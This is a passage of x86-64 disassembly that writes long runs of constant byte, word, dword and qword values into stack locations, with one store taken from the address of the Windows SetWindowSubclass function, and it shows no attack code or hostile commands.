mov word [rsp + 0x22b4], ax
mov byte [rsp + 0x3ef], 0xe4
mov eax, SetWindowSubclass
mov word [rsp + 0x22b8], ax
mov dword [rsp + 0x7a60], 0xd7d7
movabs rax, 0x711a5bde7ec1ba
mov qword [rsp + 0xf8b8], rax
mov byte [rsp + 0x3f0], 0xc
mov eax, 0x647
mov word [rsp + 0x22bc], ax
mov byte [rsp + 0x3f1], 0x7a
mov dword [rsp + 0x7a64], 0x43b6
movabs rax, 0x7a8fdcb9b437bd
mov qword [rsp + 0xf8c0], rax
movabs rax, 0x7eebe09b00765a
mov qword [rsp + 0xf8c8], rax
movabs rax, 0x79142ced1176bf
mov qword [rsp + 0xf8d0], rax
movabs rax, 0x73fcc70d944593
mov qword [rsp + 0xf8d8], rax
mov eax, 0xe19
mov word [rsp + 0x22c0], ax
mov dword [rsp + 0x7a68], 0x6637
mov eax, 0x2e8
mov word [rsp + 0x22c4], ax
mov dword [rsp + 0x7a6c], 0x7e0f
mov byte [rsp + 0x3f2], 0x3c
mov eax, 0x3e2
mov word [rsp + 0x22c8], ax
mov byte [rsp + 0x3f3], 0x63
mov eax, 0xa08
mov word [rsp + 0x22cc], ax
mov eax, 0x25b
mov word [rsp + 0x22d0], ax
mov eax, 0x378
mov word [rsp + 0x22d4], ax
movabs rax, 0x746a8ae849f02a
mov qword [rsp + 0xf8e0], rax
mov byte [rsp + 0x3f4], 0x3f
movabs rax, 0x7c9a341d7eb69e
mov qword [rsp + 0xf8e8], rax
movabs rax, 0x7ed7a5f5fb4e4f
mov qword [rsp + 0xf8f0], rax
movabs rax, 0x703038762fa43c
mov qword [rsp + 0xf8f8], rax
mov eax, 0x628
mov word [rsp + 0x22d8], ax
mov eax, 0x257
mov word [rsp + 0x22dc], ax
mov byte [rsp + 0x3f5], 0x4c
movabs rax, 0x703cb6f40a2684
mov qword [rsp + 0xf900], rax
mov byte [rsp + 0x3f6], 0x3e
movabs rax, 0x777b1c77596b7e
mov qword [rsp + 0xf908], rax
mov byte [rsp + 0x3f7], 0x94
mov eax, 0x4b8
mov word [rsp + 0x22e0], ax
mov byte [rsp + 0x3f8], 0x12
movabs rax, 0x79733d3e5551d4
mov qword [rsp + 0xf910], rax
mov eax, 0x629
mov word [rsp + 0x22e4], ax
movabs rax, 0x7af1bea28929e7
mov qword [rsp + 0xf918], rax
mov eax, 0x7c
mov word [rsp + 0x22e8], ax
mov eax, 0xd49
mov word [rsp + 0x22ec], ax
movabs rax, 0x7e8db341c2059d
mov qword [rsp + 0xf920], rax
mov dword [rsp + 0x7a70], 0x2e0
mov byte [rsp + 0x3f9], 0x1e
movabs rax, 0x76049cb5aeaa7e
mov qword [rsp + 0xf928], rax
mov eax, 0x9ad
mov word [rsp + 0x22f0], ax
mov dword [rsp + 0x7a74], 0x18de
mov byte [rsp + 0x3fa], 0x2f
mov eax, 0x433
mov word [rsp + 0x22f4], ax
mov eax, 0x501
mov word [rsp + 0x22f8], ax
mov byte [rsp + 0x3fb], 0x81
mov byte [rsp + 0x3fc], 8
mov byte [rsp + 0x3fd], 0x1d
movabs rax, 0x7e7acfd29fd0ac
mov qword [rsp + 0xf930], rax
movabs rax, 0x733a8881a27492
mov qword [rsp + 0xf938], rax
mov dword [rsp + 0x7a78], 0x6109
movabs rax, 0x7187143aff76fc
mov qword [rsp + 0xf940], rax
movabs rax, 0x7c301b96edefe8
mov qword [rsp + 0xf948], rax
mov eax, 0x4ff
mov word [rsp + 0x22fc], ax
movabs rax, 0x7121724ae2eaa1
mov qword [rsp + 0xf950], rax
mov dword [rsp + 0x7a7c], 0x243a
mov byte [rsp + 0x3fe], 0xbb
movabs rax, 0x7ae913b6ea76ee
mov qword [rsp + 0xf958], rax
mov eax, 0x6a8
mov word [rsp + 0x2300], ax
mov dword [rsp + 0x7a80], 0x9f8
mov dword [rsp + 0x7a84], 0x4eb4
mov byte [rsp + 0x3ff], 0xd1
mov byte [rsp + 0x400], 0x83
mov dword [rsp + 0x7a88], 0x5b60
mov byte [rsp + 0x401], 0x6f
mov eax, 0x34f
mov word [rsp + 0x2304], ax
mov eax, 0x222
mov word [rsp + 0x2308], ax
mov eax, 0xd55
mov word [rsp + 0x230c], ax
mov dword [rsp + 0x7a8c], 0x85a8
movabs rax, 0x70f76d553762c1
mov qword [rsp + 0xf960], rax
movabs rax, 0x73cb01f7cab572
mov qword [rsp + 0xf968], rax
mov dword [rsp + 0x7a90], 0x6f66
mov dword [rsp + 0x7a94], 0x1f56
movabs rax, 0x75c13519bcc912
mov qword [rsp + 0xf970], rax
mov byte [rsp + 0x402], 0x4e
movabs rax, 0x79e0bfe1ac0b4c
mov qword [rsp + 0xf978], rax
mov eax, 0x468
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x403], 0x71
mov eax, 0xae8
mov word [rsp + 0x2314], ax
mov dword [rsp + 0x7a98], 0x1d4e
mov dword [rsp + 0x7a9c], 0x205a
mov eax, 0x1af
mov word [rsp + 0x2318], ax
mov byte [rsp + 0x404], 9
mov dword [rsp + 0x7aa0], 0x814
mov eax, 0x460
mov word [rsp + 0x231c], ax
movabs rax, 0x73a4e41df4df2a
mov qword [rsp + 0xf980], rax
mov eax, 0xbc
mov word [rsp + 0x2320], ax
mov byte [rsp + 0x405], 0x31
mov byte [rsp + 0x406], 0x30
mov eax, 0x23e
mov word [rsp + 0x2324], ax
mov byte [rsp + 0x407], 0x56
mov byte [rsp + 0x408], 0xf8
mov byte [rsp + 0x409], 0x58
mov byte [rsp + 0x40a], 0x52
mov byte [rsp + 0x40b], 0xd4
movabs rax, 0x79ad46034243d4
mov qword [rsp + 0xf988], rax
movabs rax, 0x7e7460049df888
mov qword [rsp + 0xf990], rax
mov byte [rsp + 0x40c], 0xa0
mov eax, 0x766
mov word [rsp + 0x2328], ax
mov byte [rsp + 0x40d], 0x7c
movabs rax, 0x70605d7e17c8d7
mov qword [rsp + 0xf998], rax
movabs rax, 0x779ce9d09244ab
mov qword [rsp + 0xf9a0], rax
mov byte [rsp + 0x40e], 0xf5
movabs rax, 0x7beb1ee571bbed
mov qword [rsp + 0xf9a8], rax
movabs rax, 0x7717b4f3913612
mov qword [rsp + 0xf9b0], rax
movabs rax, 0x719b989500d567
mov qword [rsp + 0xf9b8], rax
mov dword [rsp + 0x7aa4], 0x4b2f
mov dword [rsp + 0x7aa8], 0x49c0
mov dword [rsp + 0x7aac], 0xc9f3
mov byte [rsp + 0x40f], 0x60
mov dword [rsp + 0x7ab0], 0x4f76
mov eax, 0x1bf
mov word [rsp + 0x232c], ax
movabs rax, 0x7741ad6ba9e5b5
mov qword [rsp + 0xf9c0], rax
mov eax, 0x7e5
mov word [rsp + 0x2330], ax
mov byte [rsp + 0x410], 0x30
movabs rax, 0x7b8f5aa808192f
mov qword [rsp + 0xf9c8], rax
movabs rax, 0x75161d993f63a4
mov qword [rsp + 0xf9d0], rax
mov eax, 0x553
mov word [rsp + 0x2334], ax
mov dword [rsp + 0x7ab4], 0x882a
mov byte [rsp + 0x411], 0xd5
mov eax, 0x8c8
mov word [rsp + 0x2338], ax
movabs rax, 0x76ec7409c9fd74
mov qword [rsp + 0xf9d8], rax
movabs rax, 0x79ce8545bbfc28
mov qword [rsp + 0xf9e0], rax
mov dword [rsp + 0x7ab8], 0x2fad
mov dword [rsp + 0x7abc], 0x1200
mov byte [rsp + 0x412], 0x10
mov byte [rsp + 0x413], 0x68
mov dword [rsp + 0x7ac0], 0x1333
mov dword [rsp + 0x7ac4], 0x44b7
mov eax, 0x788
mov word [rsp + 0x233c], ax
mov dword [rsp + 0x7ac8], 0x687c
mov eax, 0x392
mov word [rsp + 0x2340], ax
movabs rax, 0x73706b25ca7b0a
mov qword [rsp + 0xf9e8], rax
mov eax, 0x336
mov word [rsp + 0x2344], ax
mov dword [rsp + 0x7acc], 0xee08
mov byte [rsp + 0x414], 0x25
mov byte [rsp + 0x415], 0x5b
mov byte [rsp + 0x416], 0x58
movabs rax, 0x7e51705a67d870
mov qword [rsp + 0xf9f0], rax
movabs rax, 0x7b6406c794c117
mov qword [rsp + 0xf9f8], rax
mov eax, 0x40e
mov word [rsp + 0x2348], ax
mov eax, 0x43c
mov word [rsp + 0x234c], ax
mov eax, 0xc1
mov word [rsp + 0x2350], ax
mov dword [rsp + 0x7ad0], 0x76a8
mov byte [rsp + 0x417], 0xfc
mov byte [rsp + 0x418], 0x1c
mov byte [rsp + 0x419], 0xa5
movabs rax, 0x74859a7c8b2559
mov qword [rsp + 0xfa00], rax
movabs rax, 0x77acd32005f871
mov qword [rsp + 0xfa08], rax
mov byte [rsp + 0x41a], 0x84
mov eax, 0x520
mov word [rsp + 0x2354], ax
mov eax, 0x8a
mov word [rsp + 0x2358], ax
movabs rax, 0x7dd70e5d62915c
mov qword [rsp + 0xfa10], rax
movabs rax, 0x7ee2b2edc1c03d
mov qword [rsp + 0xfa18], rax
movabs rax, 0x7bc1079ac2355e
mov qword [rsp + 0xfa20], rax
mov byte [rsp + 0x41b], 0x32
mov eax, 0xf42
mov word [rsp + 0x235c], ax
mov eax, 0x3b0
mov word [rsp + 0x2360], ax
mov byte [rsp + 0x41c], 0xe8
movabs rax, 0x7eb045b07d134f
mov qword [rsp + 0xfa28], rax
mov eax, 0x329
mov word [rsp + 0x2364], ax
mov eax, 0x5f6
mov word [rsp + 0x2368], ax
mov dword [rsp + 0x7ad4], 0x80f2
movabs rax, 0x73bfc043bd1b9b
mov qword [rsp + 0xfa30], rax
movabs rax, 0x7d28063c216d19
mov qword [rsp + 0xfa38], rax
mov byte [rsp + 0x41d], 0xdb
movabs rax, 0x7d4a62c7b666e6
mov qword [rsp + 0xfa40], rax
mov byte [rsp + 0x41e], 0x1c
movabs rax, 0x72b7ad29b8e14b
mov qword [rsp + 0xfa48], rax
movabs rax, 0x70e7a7f945c421
mov qword [rsp + 0xfa50], rax
movabs rax, 0x75bc459b391fcc
mov qword [rsp + 0xfa58], rax
mov eax, 0x6be
mov word [rsp + 0x236c], ax
mov eax, 0x5eb
mov word [rsp + 0x2370], ax
mov eax, 0x79e
mov word [rsp + 0x2374], ax
movabs rax, 0x7a50ba8833fc68
mov qword [rsp + 0xfa60], rax
movabs rax, 0x76cdebf5d0f25d
mov qword [rsp + 0xfa68], rax
mov byte [rsp + 0x41f], 0x1c
mov byte [rsp + 0x420], 0x2a
mov dword [rsp + 0x7ad8], 0x68b6
mov eax, 0x28d
mov word [rsp + 0x2378], ax
mov byte [rsp + 0x421], 0x22
mov byte [rsp + 0x422], 0x65
mov eax, 0xb0d
mov word [rsp + 0x237c], ax
mov eax, 0x13a
mov word [rsp + 0x2380], ax
mov eax, 0xff1
mov word [rsp + 0x2384], ax
movabs rax, 0x773a215ee2afad
mov qword [rsp + 0xfa70], rax
mov eax, 0x580
mov word [rsp + 0x2388], ax
mov eax, 0xb79
mov word [rsp + 0x238c], ax
mov dword [rsp + 0x7adc], 0x3f7a
mov byte [rsp + 0x423], 0xcc
movabs rax, 0x7a32a18871d0e7
mov qword [rsp + 0xfa78], rax
movabs rax, 0x7331e9ea4f26ca
mov qword [rsp + 0xfa80], rax
mov dword [rsp + 0x7ae0], 0x4368
mov eax, 0xb5e
mov word [rsp + 0x2390], ax
mov dword [rsp + 0x7ae4], 0x3588
mov byte [rsp + 0x424], 0x54
movabs rax, 0x786dfffa6f28d7
mov qword [rsp + 0xfa88], rax
mov byte [rsp + 0x425], 0xa6
mov eax, 0x525
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x7ae8], 0x68e8
mov dword [rsp + 0x7aec], 0x959d
mov byte [rsp + 0x426], 0xe0
mov byte [rsp + 0x427], 0x3b
movabs rax, 0x7ccf8be88b8e8a
mov qword [rsp + 0xfa90], rax
mov dword [rsp + 0x7af0], 0x5761
movabs rax, 0x7059dca0e58e0c
mov qword [rsp + 0xfa98], rax
mov eax, 0xcc3
mov word [rsp + 0x2398], ax
mov eax, 0x78f
mov word [rsp + 0x239c], ax
movabs rax, 0x743f0b710cc6b2
mov qword [rsp + 0xfaa0], rax
mov byte [rsp + 0x428], 0xf3
mov dword [rsp + 0x7af4], 0x30b
movabs rax, 0x752666e3225fa8
mov qword [rsp + 0xfaa8], rax
mov eax, 0x40a
mov word [rsp + 0x23a0], ax
mov byte [rsp + 0x429], 4
mov eax, 0x6a8
mov word [rsp + 0x23a4], ax
mov byte [rsp + 0x42a], 0x2b
movabs rax, 0x7b607cfbd10595
mov qword [rsp + 0xfab0], rax
mov eax, 0x29
mov word [rsp + 0x23a8], ax
movabs rax, 0x7131cec7dae5b4
mov qword [rsp + 0xfab8], rax
mov byte [rsp + 0x42b], 0x97
movabs rax, 0x7c43d6fa803b1b
mov qword [rsp + 0xfac0], rax
movabs rax, 0x7cd811236452d5
mov qword [rsp + 0xfac8], rax
mov byte [rsp + 0x42c], 0x56
mov byte [rsp + 0x42d], 0x43
mov dword [rsp + 0x7af8], 0x1cf4
movabs rax, 0x7795f03c8b0ba1
mov qword [rsp + 0xfad0], rax
mov eax, 0x1b8
mov word [rsp + 0x23ac], ax
mov byte [rsp + 0x42e], 0x3f
mov dword [rsp + 0x7afc], 0xaf76
movabs rax, 0x7c47c1f2d7da22
mov qword [rsp + 0xfad8], rax
mov byte [rsp + 0x42f], 0x76
mov dword [rsp + 0x7b00], 0x5007
movabs rax, 0x7d84130b794537
mov qword [rsp + 0xfae0], rax
movabs rax, 0x77e530975e5837
mov qword [rsp + 0xfae8], rax
mov byte [rsp + 0x430], 0x8f
mov eax, 0x583
mov word [rsp + 0x23b0], ax
mov byte [rsp + 0x431], 5
movabs rax, 0x73fecbd6e0ef49
mov qword [rsp + 0xfaf0], rax
movabs rax, 0x76c46f29de7038
mov qword [rsp + 0xfaf8], rax
mov eax, 0x750
mov word [rsp + 0x23b4], ax
mov dword [rsp + 0x7b04], 0xac7b
movabs rax, 0x77687136fde723
mov qword [rsp + 0xfb00], rax
movabs rax, 0x7d94e80f9a557d
mov qword [rsp + 0xfb08], rax
mov eax, 0xaf3
mov word [rsp + 0x23b8], ax
mov eax, 0xc43
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x7b08], 0x7f1c
mov byte [rsp + 0x432], 0x28
movabs rax, 0x706619a77a8d68
mov qword [rsp + 0xfb10], rax
mov eax, 0x211
mov word [rsp + 0x23c0], ax
mov eax, 0x383
mov word [rsp + 0x23c4], ax
movabs rax, 0x7c38af43ddd6f1
mov qword [rsp + 0xfb18], rax
movabs rax, 0x724cbde10b7a6b
mov qword [rsp + 0xfb20], rax
mov dword [rsp + 0x7b0c], 0x83f1
mov eax, 0xf26
mov word [rsp + 0x23c8], ax
mov eax, 0xcde
mov word [rsp + 0x23cc], ax
movabs rax, 0x78cce462398abf
mov qword [rsp + 0xfb28], rax
movabs rax, 0x78423bc237ab01
mov qword [rsp + 0xfb30], rax
movabs rax, 0x786d87fa457857
mov qword [rsp + 0xfb38], rax
movabs rax, 0x73c9cb158f7be6
mov qword [rsp + 0xfb40], rax
mov dword [rsp + 0x7b10], 0x6775
mov dword [rsp + 0x7b14], 0x3bd0
mov dword [rsp + 0x7b18], 0xb917
mov eax, 0x54b
mov word [rsp + 0x23d0], ax
mov byte [rsp + 0x433], 0x6f
mov byte [rsp + 0x434], 0x4e
movabs rax, 0x7c8a56ac6a5087
mov qword [rsp + 0xfb48], rax
movabs rax, 0x7046b9d2e0b0ca
mov qword [rsp + 0xfb50], rax
mov byte [rsp + 0x435], 0xd
movabs rax, 0x7564425bb8b2f1
mov qword [rsp + 0xfb58], rax
movabs rax, 0x736d2fcb9fbf99
mov qword [rsp + 0xfb60], rax
mov dword [rsp + 0x7b1c], 0xb811
mov eax, 0x52b
mov word [rsp + 0x23d4], ax
movabs rax, 0x762e337450af68
mov qword [rsp + 0xfb68], rax
mov eax, 0x600
mov word [rsp + 0x23d8], ax
mov dword [rsp + 0x7b20], 0xb893
movabs rax, 0x725f65d167811d
mov qword [rsp + 0xfb70], rax
mov eax, 0x676
mov word [rsp + 0x23dc], ax
mov eax, 0x334
mov word [rsp + 0x23e0], ax
mov eax, 0x6dc
mov word [rsp + 0x23e4], ax
movabs rax, 0x778f8dbad7408f
mov qword [rsp + 0xfb78], rax
mov dword [rsp + 0x7b24], 0x109b
mov dword [rsp + 0x7b28], 0x881b
movabs rax, 0x771f59c556b57e
mov qword [rsp + 0xfb80], rax
mov byte [rsp + 0x436], 0x3a
movabs rax, 0x7a2990837dcbb0
mov qword [rsp + 0xfb88], rax
movabs rax, 0x783b6c35836799
mov qword [rsp + 0xfb90], rax
mov dword [rsp + 0x7b2c], 0x65d7
movabs rax, 0x7e6fd1a0966ebe
mov qword [rsp + 0xfb98], rax
mov byte [rsp + 0x437], 0x3f
movabs rax, 0x73053cf1a816e1
mov qword [rsp + 0xfba0], rax
movabs rax, 0x7211aee63662e3
mov qword [rsp + 0xfba8], rax
mov byte [rsp + 0x438], 0x47
mov byte [rsp + 0x439], 0x6c
mov byte [rsp + 0x43a], 0x34
mov eax, 0x6b8
mov word [rsp + 0x23e8], ax
movabs rax, 0x755e528caae3bf
mov qword [rsp + 0xfbb0], rax
mov byte [rsp + 0x43b], 0x7a
mov byte [rsp + 0x43c], 0x4d
mov dword [rsp + 0x7b30], 0x2e2c
movabs rax, 0x7bc8eaf0fb375c
mov qword [rsp + 0xfbb8], rax
movabs rax, 0x70abfabbf5401c
mov qword [rsp + 0xfbc0], rax
mov byte [rsp + 0x43d], 0x5b
movabs rax, 0x7ca7a1f02cc9e8
mov qword [rsp + 0xfbc8], rax
mov byte [rsp + 0x43e], 0xe2
mov byte [rsp + 0x43f], 9
mov dword [rsp + 0x7b34], 0x17a2
movabs rax, 0x78680c47493e23
mov qword [rsp + 0xfbd0], rax
mov byte [rsp + 0x440], 0x2f
movabs rax, 0x7b1b9ba18099a1
mov qword [rsp + 0xfbd8], rax
mov byte [rsp + 0x441], 0x69
movabs rax, 0x70b88e4c2f5140
mov qword [rsp + 0xfbe0], rax
mov eax, 0xeec
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x7b38], 0x6ef8
movabs rax, 0x7491db85a13e95
mov qword [rsp + 0xfbe8], rax
movabs rax, 0x7c1e12864f2f67
mov qword [rsp + 0xfbf0], rax
movabs rax, 0x7500490ca337f0
mov qword [rsp + 0xfbf8], rax
mov dword [rsp + 0x7b3c], 0x1aa
mov dword [rsp + 0x7b40], 0x7203
mov dword [rsp + 0x7b44], 0x2dfb
mov eax, 0x8c
mov word [rsp + 0x23f0], ax
mov dword [rsp + 0x7b48], 0x4d9f
mov dword [rsp + 0x7b4c], 0x8d91
movabs rax, 0x74d72b3883e6d3
mov qword [rsp + 0xfc00], rax
mov eax, 0x767
mov word [rsp + 0x23f4], ax
mov eax, 0x87a
mov word [rsp + 0x23f8], ax
mov byte [rsp + 0x442], 0x40
mov byte [rsp + 0x443], 0x52
mov byte [rsp + 0x444], 0x18
mov dword [rsp + 0x7b50], 0x7331
movabs rax, 0x7ac2ffb3c4ee4f
mov qword [rsp + 0xfc08], rax
movabs rax, 0x7a72cdac7af50b
mov qword [rsp + 0xfc10], rax
mov dword [rsp + 0x7b54], 0xcc1d
mov dword [rsp + 0x7b58], 0x6273
mov byte [rsp + 0x445], 0x71
mov dword [rsp + 0x7b5c], 0x1a25
mov dword [rsp + 0x7b60], 0x620b
mov eax, 0xed2
mov word [rsp + 0x23fc], ax
mov eax, 0x54c
mov word [rsp + 0x2400], ax
mov byte [rsp + 0x446], 6
mov dword [rsp + 0x7b64], 0x2537
movabs rax, 0x796f48923d9d13
mov qword [rsp + 0xfc18], rax
mov dword [rsp + 0x7b68], 0xfe86
mov byte [rsp + 0x447], 4
mov dword [rsp + 0x7b6c], 0xe7b3
mov eax, 0x4be
mov word [rsp + 0x2404], ax
movabs rax, 0x78e0eb6ae76922
mov qword [rsp + 0xfc20], rax
movabs rax, 0x762d6e9bf73c2b
mov qword [rsp + 0xfc28], rax
movabs rax, 0x7ca1b73ceed9cc
mov qword [rsp + 0xfc30], rax
mov byte [rsp + 0x448], 0x23
mov dword [rsp + 0x7b70], 0xc469
movabs rax, 0x7045c4ca15bb32
mov qword [rsp + 0xfc38], rax
movabs rax, 0x7cdbbdd825ac97
mov qword [rsp + 0xfc40], rax
mov dword [rsp + 0x7b74], 0x7691
mov eax, 0xf9
mov word [rsp + 0x2408], ax
movabs rax, 0x7209176d538bc0
mov qword [rsp + 0xfc48], rax
mov dword [rsp + 0x7b78], 0x6912
mov dword [rsp + 0x7b7c], 0x1cee
movabs rax, 0x72988095ad28e2
mov qword [rsp + 0xfc50], rax
movabs rax, 0x7524f59c4528e7
mov qword [rsp + 0xfc58], rax
mov eax, 0x44
mov word [rsp + 0x240c], ax
movabs rax, 0x7787f8641bc5df
mov qword [rsp + 0xfc60], rax
mov eax, 0x64b
mov word [rsp + 0x2410], ax
movabs rax, 0x7c9689c3c9bff3
mov qword [rsp + 0xfc68], rax
movabs rax, 0x78da569e2fe9eb
mov qword [rsp + 0xfc70], rax
mov dword [rsp + 0x7b80], 0x4a47
movabs rax, 0x724d9791d9ed73
mov qword [rsp + 0xfc78], rax
mov eax, 0x7d9
mov word [rsp + 0x2414], ax
mov byte [rsp + 0x449], 0xc7
mov byte [rsp + 0x44a], 0x30
mov eax, 0x36a
mov word [rsp + 0x2418], ax
mov byte [rsp + 0x44b], 0x8b
mov dword [rsp + 0x7b84], 0x3cdb
mov byte [rsp + 0x44c], 0x59
mov dword [rsp + 0x7b88], 0x34ef
movabs rax, 0x7270bde51f7d2c
mov qword [rsp + 0xfc80], rax
movabs rax, 0x7e62b8b25fd0c3
mov qword [rsp + 0xfc88], rax
movabs rax, 0x78447c1c41d7e0
mov qword [rsp + 0xfc90], rax
mov dword [rsp + 0x7b8c], 0x7716
mov byte [rsp + 0x44d], 0x70
movabs rax, 0x7bab599c96a2ab
mov qword [rsp + 0xfc98], rax
movabs rax, 0x70d4312945e29d
mov qword [rsp + 0xfca0], rax
mov byte [rsp + 0x44e], 0x88
mov byte [rsp + 0x44f], 0xbb
mov dword [rsp + 0x7b90], 0x339f
mov dword [rsp + 0x7b94], 0x1245
mov byte [rsp + 0x450], 0x51
mov eax, 0x7c9
mov word [rsp + 0x241c], ax
mov byte [rsp + 0x451], 0x31
mov dword [rsp + 0x7b98], 0x625c
mov dword [rsp + 0x7b9c], 0x10d0
mov dword [rsp + 0x7ba0], 0xf12e
movabs rax, 0x78fce31ec95e99
mov qword [rsp + 0xfca8], rax
movabs rax, 0x782f0743305c2a
mov qword [rsp + 0xfcb0], rax
mov dword [rsp + 0x7ba4], 0x74aa
mov byte [rsp + 0x452], 0xe7
mov byte [rsp + 0x453], 0xe8
mov eax, 0x45e
mov word [rsp + 0x2420], ax
mov eax, 0xb28
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x7ba8], 0x38d1
mov eax, 0xa69
mov word [rsp + 0x2428], ax
mov byte [rsp + 0x454], 0x10
mov eax, 0xfb
mov word [rsp + 0x242c], ax
mov dword [rsp + 0x7bac], 0x6163
mov eax, 0x7ad
mov word [rsp + 0x2430], ax
movabs rax, 0x7a4d920a80e941
mov qword [rsp + 0xfcb8], rax
movabs rax, 0x7bb1ac80fe33f3
mov qword [rsp + 0xfcc0], rax
mov eax, 0x427
mov word [rsp + 0x2434], ax
mov dword [rsp + 0x7bb0], 0xbbfc
mov byte [rsp + 0x455], 0x4e
mov byte [rsp + 0x456], 0x71
movabs rax, 0x7b85c23ccd9cc3
mov qword [rsp + 0xfcc8], rax
mov eax, 0x48c
mov word [rsp + 0x2438], ax
mov eax, 0x180
mov word [rsp + 0x243c], ax
mov dword [rsp + 0x7bb4], 0x1e7c
mov eax, 0xdf
mov word [rsp + 0x2440], ax
mov eax, 0x3d8
mov word [rsp + 0x2444], ax
movabs rax, 0x7daeac8bc56e5f
mov qword [rsp + 0xfcd0], rax
mov byte [rsp + 0x457], 6
mov byte [rsp + 0x458], 0x32
mov eax, 0x745
mov word [rsp + 0x2448], ax
movabs rax, 0x73075af026d8f9
mov qword [rsp + 0xfcd8], rax
mov dword [rsp + 0x7bb8], 0x1479
movabs rax, 0x715ccbedeef680
mov qword [rsp + 0xfce0], rax
mov dword [rsp + 0x7bbc], 0x6ccf
mov byte [rsp + 0x459], 0x33
movabs rax, 0x7ad7fb51209d81
mov qword [rsp + 0xfce8], rax
mov dword [rsp + 0x7bc0], 0x32e
mov eax, 0xb89
mov word [rsp + 0x244c], ax
movabs rax, 0x7cad7d1e7cda29
mov qword [rsp + 0xfcf0], rax
mov dword [rsp + 0x7bc4], 0x68d7
mov eax, 0x939
mov word [rsp + 0x2450], ax
mov byte [rsp + 0x45a], 0x6a
mov eax, 0x80
mov word [rsp + 0x2454], ax
mov eax, 0xa7b
mov word [rsp + 0x2458], ax
movabs rax, 0x7bad9f3436e88a
mov qword [rsp + 0xfcf8], rax
movabs rax, 0x761320ac3c5fde
mov qword [rsp + 0xfd00], rax
mov eax, 0x254
mov word [rsp + 0x245c], ax
mov eax, 0x145
mov word [rsp + 0x2460], ax
movabs rax, 0x72fc91ae2b0ab0
mov qword [rsp + 0xfd08], rax
mov eax, 0x1ab
mov word [rsp + 0x2464], ax
mov byte [rsp + 0x45b], 0xd
mov dword [rsp + 0x7bc8], 0x2c12
mov dword [rsp + 0x7bcc], 0x9a5
mov dword [rsp + 0x7bd0], 0x469a
mov dword [rsp + 0x7bd4], 0x69e2
mov byte [rsp + 0x45c], 0x18
mov dword [rsp + 0x7bd8], 0x7d73
movabs rax, 0x7a456071c8d5fe
mov qword [rsp + 0xfd10], rax
movabs rax, 0x73bf1aefa3247a
mov qword [rsp + 0xfd18], rax
movabs rax, 0x72fceed65247e5
mov qword [rsp + 0xfd20], rax
mov byte [rsp + 0x45d], 0x58
mov eax, 0x69a
mov word [rsp + 0x2468], ax
mov dword [rsp + 0x7bdc], 0x2af7
mov eax, 0x658
mov word [rsp + 0x246c], ax
movabs rax, 0x70fd381101ad18
mov qword [rsp + 0xfd28], rax
mov eax, 0xbfc
mov word [rsp + 0x2470], ax
movabs rax, 0x717b0aafa4b3be
mov qword [rsp + 0xfd30], rax
mov dword [rsp + 0x7be0], 0x2dae
mov eax, 0x37e
mov word [rsp + 0x2474], ax
movabs rax, 0x78a7c5f5ef7365
mov qword [rsp + 0xfd38], rax
mov dword [rsp + 0x7be4], 0x2614
movabs rax, 0x7508ac3bd5fe1c
mov qword [rsp + 0xfd40], rax
movabs rax, 0x734aa6ad5ff5e2
mov qword [rsp + 0xfd48], rax
mov eax, 0xfeb
mov word [rsp + 0x2478], ax
movabs rax, 0x717b1868eff8bb
mov qword [rsp + 0xfd50], rax
mov eax, 0xf31
mov word [rsp + 0x247c], ax
mov dword [rsp + 0x7be8], 0xe62b
mov byte [rsp + 0x45e], 0x81
mov eax, 0x18e
mov word [rsp + 0x2480], ax
mov dword [rsp + 0x7bec], 0xb1d7
mov eax, 0x23c
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x7bf0], 0x1e2c
mov eax, 0x347
mov word [rsp + 0x2488], ax
mov byte [rsp + 0x45f], 0xdb
movabs rax, 0x79403a388dc477
mov qword [rsp + 0xfd58], rax
movabs rax, 0x77773cf8a851d5
mov qword [rsp + 0xfd60], rax
movabs rax, 0x7a53b1dbdcdc03
mov qword [rsp + 0xfd68], rax
mov eax, 0xcb0
mov word [rsp + 0x248c], ax
mov byte [rsp + 0x460], 0x81
mov dword [rsp + 0x7bf4], 0x1b96
mov eax, 0x414
mov word [rsp + 0x2490], ax
mov dword [rsp + 0x7bf8], 0x940
mov dword [rsp + 0x7bfc], 0x4f9e
mov eax, 0xf08
mov word [rsp + 0x2494], ax
mov dword [rsp + 0x7c00], 0xbc0c
mov eax, 0x171
mov word [rsp + 0x2498], ax
movabs rax, 0x7b351fee878df3
mov qword [rsp + 0xfd70], rax
mov dword [rsp + 0x7c04], 0x26fb
mov eax, 0x409
mov word [rsp + 0x249c], ax
mov byte [rsp + 0x461], 0x11
mov dword [rsp + 0x7c08], 0x41f9
mov eax, 0x220
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x7c0c], 0x548
movabs rax, 0x77e14ce350c030
mov qword [rsp + 0xfd78], rax
mov dword [rsp + 0x7c10], 0x4357
mov dword [rsp + 0x7c14], 0x27be
mov byte [rsp + 0x462], 0x31
mov byte [rsp + 0x463], 0x6b
movabs rax, 0x791b556b279d39
mov qword [rsp + 0xfd80], rax
mov dword [rsp + 0x7c18], 0x9dbc
mov eax, 0x8b6
mov word [rsp + 0x24a4], ax
mov eax, 0x866
mov word [rsp + 0x24a8], ax
mov byte [rsp + 0x464], 0x65
movabs rax, 0x733991df00f6a9
mov qword [rsp + 0xfd88], rax
movabs rax, 0x78e92244dcba33
mov qword [rsp + 0xfd90], rax
mov dword [rsp + 0x7c1c], 0x6669
mov dword [rsp + 0x7c20], 0xfae1
mov dword [rsp + 0x7c24], 0x82f
mov dword [rsp + 0x7c28], 0xefc2
movabs rax, 0x7d10495be5d285
mov qword [rsp + 0xfd98], rax
mov dword [rsp + 0x7c2c], 0x7d65
mov eax, 0xf1
mov word [rsp + 0x24ac], ax
movabs rax, 0x78f24f62be91c0
mov qword [rsp + 0xfda0], rax
mov byte [rsp + 0x465], 0x5b
mov byte [rsp + 0x466], 0x47
movabs rax, 0x7a5b0d8bcfabc7
mov qword [rsp + 0xfda8], rax
mov eax, 0x691
mov word [rsp + 0x24b0], ax
mov byte [rsp + 0x467], 0xd3
mov byte [rsp + 0x468], 0x44
movabs rax, 0x77607553a9df28
mov qword [rsp + 0xfdb0], rax
mov dword [rsp + 0x7c30], 0x5820
mov eax, 0x62f
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x7c34], 0x26e6
